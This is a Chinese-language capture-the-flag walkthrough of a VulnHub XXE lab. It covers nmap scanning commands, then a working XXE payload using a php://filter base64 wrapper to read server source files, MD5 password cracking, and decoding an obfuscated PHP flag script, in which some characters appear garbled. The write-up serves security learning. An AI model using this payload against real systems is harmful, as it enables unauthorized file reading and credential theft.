XXE 漏洞实战
补充知识
namp使用
特点
- ? 主机探测:探测网络上的主机,如列出响应TCP,ICMP请求,开放特别端口的主机
- ? 端口扫描: 探测目标主机所开放的端口
- ? 版本探测:探测目标主机的网络服务,其服务名称及版本号
常用命令
- nmap -sP 192.168.0.1/24 扫描目标地址所在的C段在线情况
- nmap -O 识别目标地址的操作系统
- nmap -sV 检测目标地址开放的端口对应的服务版本信息
- nmap sn 检测主机,不进行端口扫描
- 扫描某一目标地址的端口 nmap 地址 -p 21,22
安装
www.vulnhub.com
搜索xxe 虚拟机直接打开导入即可
实战
打开之后是这样的
先用nmap 一下扫出 地址
nmap -sn 命令
扫除地址
习惯性查看 robots.txt
当然用dirsearch 扫也可以
接着访问xxe 得到一个登录地址
抓一下包 得到 xml 数据 这里说一下xml是传输和存储数据用的而xxe是xml产生的漏洞
我们将漏洞语句尝试插入
尝试利用协议读文件绕过 这样的话就不用考虑路径了 直接读
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe.php">]>
<root><name>&xxe;</name><password>123</password></root>
得到base64码 解得
读admin.php 为发现 用户名密码
md5解得 密码为 admin@123
这里得到的是 是xxe 目录下的admin.php 文件 所以url要注意
输入后登录成功
点flag 后却没有反应
得到了url地址 http://192.168.43.58/flagmeout.php 所以可尝试重新在 根目录下读取源文件
只需要改成./flagmeout.php
得到
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
继续base32解密读
得到 /etc/.flag.php
最终得到
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$à=+_;$á=$?=$?=$?=$?=$è=$é=$ê=$?=++$á[];$?++;$?++;$?++;$?++;$?++;$?++;$?++;$?++;$?++;$?++;$è++;$è++;$è++;$è++;$è++;$é++;$é++;$é++;$é++;$é++;$é++;$ê++;$ê++;$ê++;$ê++;$ê++;$ê++;$ê++;$?++;$?++;$?++;$?++;$?++;$?++;$?++;$__('$_="'.$___.$á.$?.$?.$___.$á.$à.$á.$___.$á.$à.$è.$___.$á.$à.$?.$___.$á.$?.$?.$___.$á.$?.$à.$___.$á.$é.$?.$___.$á.$é.$à.$___.$á.$é.$à.$___.$á.$?.$?.$___.$á.$?.$é.$___.$á.$?.$á.$___.$á.$è.$?.$___.$á.$?.$é.$___.$á.$è.$?.$___.$á.$?.$é.$___.$á.$?.$é.$___.$á.$?.$?.$___.$á.$?.$á.$___.$á.$è.$?.$___.$á.$é.$á.$___.$á.$é.$?.'"');$__($_);
在线php 运行得到flag
|